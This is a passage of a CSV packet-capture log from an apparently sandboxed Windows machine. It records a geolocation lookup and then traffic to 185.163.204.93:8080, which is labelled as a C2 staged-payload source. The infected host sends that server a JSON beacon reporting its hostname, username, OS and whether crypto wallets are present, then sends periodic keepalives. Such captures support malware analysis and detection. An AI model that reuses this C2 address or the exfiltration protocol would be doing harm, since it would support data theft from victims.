\"\"seq\"\": 3425078173, \"\"ack\"\": 1823256197, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.992047,91,TCP 208.95.112.1:80 -> 192.168.122.168:50145,208.95.112.1,192.168.122.168,80,50145,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f940800450000ebdaf040004006e36ad05f7001c0a87aa80050c3e1cc268b9d6cacae85501800537c8f0000485454502f312e3120323030204f4b0d0a446174653a205765642c2032392041707220323032362031343a33303a353320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a2032300d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a20300d0a582d526c3a2034300d0a0d0a7b22636f756e747279436f6465223a224e4c227d,\"{\"\"countryCode\"\":\"\"NL\"\"}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 235, \"\"id\"\": 56048, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58218, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50145, \"\"seq\"\": 3425078173, \"\"ack\"\": 1823256197, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"20\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/json; charset=utf-8\"\", \"\"Date\"\": \"\"Wed, 29 Apr 2026 14:30:53 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'0', b'X-Rl': b'40'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"countryCode\\\"\":\\\"\"NL\\\"\"}\"\"}}]\"\n2026-04-29 14:30:53.994523,92,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1125558934 Ack=2135233062,525400577f945254007bb79208004500002c962c40008006a34dc0a87aa8b9a3cc5dc3e01f904316aa967f45122650188000c17000009f000000,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38444, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125558934, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f000000\"\"}}]\"\n2026-04-29 14:30:53.994591,93,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125558938,5254007bb792525400577f94080045000028a95e40004006d01fb9a3cc5dc0a87aa81f90c3e07f4512264316aa9a50100053c16c0000,RT.{..RT.W....E..(.^@.@......]..z......E.&C...P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 43358, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53279, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125558938, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.994689,94,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1125558938 Ack=2135233062,525400577f945254007bb7920800450000c7962d40008006a2b1c0a87aa8b9a3cc5dc3e01f904316aa9a7f45122650188000c20b00007b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d,\"{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 199, \"\"id\"\": 38445, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41649, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125558938, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"type\\\"\":\\\"\"info\\\"\",\\\"\"data\\\"\":{\\\"\"hostname\\\"\":\\\"\"DESKTOP-JLCUPK0\\\"\",\\\"\"username\\\"\":\\\"\"0xKal\\\"\",\\\"\"os\\\"\":\\\"\"Microsoft Windows 10 Pro 10.0.19044\\\"\",\\\"\"country\\\"\":\\\"\"NL\\\"\",\\\"\"monitors\\\"\":1,\\\"\"wallets\\\"\":false}}\"\"}}]\"\n2026-04-29 14:30:53.994701,95,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000028a95f40004006d01eb9a3cc5dc0a87aa81f90c3e07f4512264316ab3950100053c16c0000,RT.{..RT.W....E..(._@.@......]..z......E.&C..9P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 43359, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53278, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:54.034127,96,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=1823256197 Ack=3425078368,525400577f945254007bb79208004500002806e6400080067838c0a87aa8d05f7001c3e100506cacae85cc268c60501004017bcc0000,RT.W..RT.{....E..(..@...x8..z.._p....Pl....&.`P...{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1766, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30776, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256197, \"\"ack\"\": 3425078368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:04.002795,97,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029962e40008006a34ec0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38446, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41806, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:04.002844,98,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96040004006d011b9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.`@.@......]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43360, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53265, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:14.092766,99,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029962f40008006a34dc0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38447, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:14.092810,100,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96140004006d010b9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.a@.@......]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43361, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53264, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:24.094630,101,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029963040008006a34cc0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38448, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41804, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:24.094691,102,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96240004006d00fb9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.b@.@......]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43362, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53263, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:34.185255,103,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029963140008006a34bc0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38449, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41803, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:34.185298,104,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96340004006d00eb9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.c@.@......]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43363, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53262, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:44.197089,105,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029963240008006a34ac0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": 